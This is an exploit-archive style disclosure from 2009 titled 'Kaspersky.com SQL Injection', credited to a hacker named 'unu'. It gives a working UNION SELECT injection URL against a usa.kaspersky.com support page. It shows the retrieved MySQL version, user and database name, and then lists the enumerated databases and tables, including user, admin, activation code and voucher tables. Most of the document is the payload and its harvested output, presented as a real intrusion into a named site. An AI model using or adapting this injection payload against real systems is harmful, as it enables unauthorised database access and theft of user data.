Kaspersky.com SQL Injection

`-----------------------------------------------------------------------------------------------  
  
[+] kaspersky.com suffers from a remote SQL injection vulnerability  
[+] Found By: unu  
[+] Date: 09-02-2009  
  
---------------------------------------------------------------------------------------------  
  
  
  
Url: http://usa.kaspersky.com/support/208279383  
  
Vuln: http://usa.kaspersky.com/support/208279383000+UniOn+aLL+SelECT+1,concat(version(),0x3,user(),0x3,database()),3,4--/  
  
Visible: 5.0.24:[email protected]:kaspersky  
  
Database:  
  
activation_provision  
bugs_db  
faq_test  
internal  
kaspersky  
mysql  
retail_portal  
test  
  
  
  
Tables:  
  
codes  
users  
vouchers  
affectstable  
bugs_settings  
bugshistory  
bugstable  
builds  
categories  
commentstable  
computertable  
editions  
filestable  
frontpage  
grouptable  
ignoretable  
milestones  
paks  
pmtable  
priority  
repfielddetail  
repfields  
repfieldset  
repoptiondetail  
repoptions  
repquick  
severity  
statustable  
substable  
userstable  
admin_users  
best_buy  
cms  
cyberCrimeRegs  
email_list  
fr_link  
fr_link_import  
interview_request  
k_test_users  
kbfaq  
kbfaq_import  
kbrub  
kbrub_bu  
kbrub_import  
login_stats  
menu  
menu_relations  
menus  
node  
partners  
partners_bu  
portal_cms_prod_ann  
portal_cms_recent_articles  
portal_cms_whats_new  
portal_product_orders  
product_names  
retail_login_stats  
retail_partners  
retail_users  
se_login_stats  
se_partners  
se_users  
setup  
shopping_com_sales  
smnr_items  
smnr_items_bu  
trials  
trials_bu  
trials_downloaded_new  
trials_rpts  
users  
users_bu  
it_hardware  
activation_code_problem  
admin_users  
best_buy  
cms  
cyberCrimeRegs  
e5users  
email_list  
fr_link  
fr_link_bu  
fr_link_import  
interview_request  
k_test_users  
kbfaq  
kbfaq_bu  
kbfaq_import  
kbrub  
kbrub_bu  
kbrub_import  
kbtop_pop  
login_stats  
menu  
menu_relations  
menus  
ms_crm_files  
ms_crm_files_support  
ms_crm_intermediary  
ms_crm_intermediary_bu  
ms_crm_intermediary_support  
node  
opt_out  
partners  
partners_bu  
portal_cms_prod_ann  
portal_cms_recent_articles  
portal_cms_whats_new  
product_names  
retail_login_stats  
retail_partners  
retail_users  
se_login_stats  
se_partners  
se_users  
setup  
shopping_com_sales  
smnr_events  
smnr_items  
smnr_items_bu  
test_users  
test_users_new  
trials  
trials_bu  
trials_downloaded  
trials_downloaded_new  
trials_rpts  
users  
users_bu  
virus_watch  
columns_priv  
db  
func  
help_category  
help_keyword  
help_relation  
help_topic  
host  
proc  
procs_priv  
tables_priv  
time_zone  
time_zone_leap_second  
time_zone_name  
time_zone_transition  
time_zone_transition_type  
user  
codes  
stores  
stores_bu  
users  
  
Read more on http://hackersblog.org/2009/02/07/usakasperskycom-hacked-full-database-acces-sql-injection/  
  
---------------------------------------------------------------------------------------  
[+] unu [[email protected]]  
[+] http://hackersblog.org,  
---------------------------------------------------------------------------------------  
`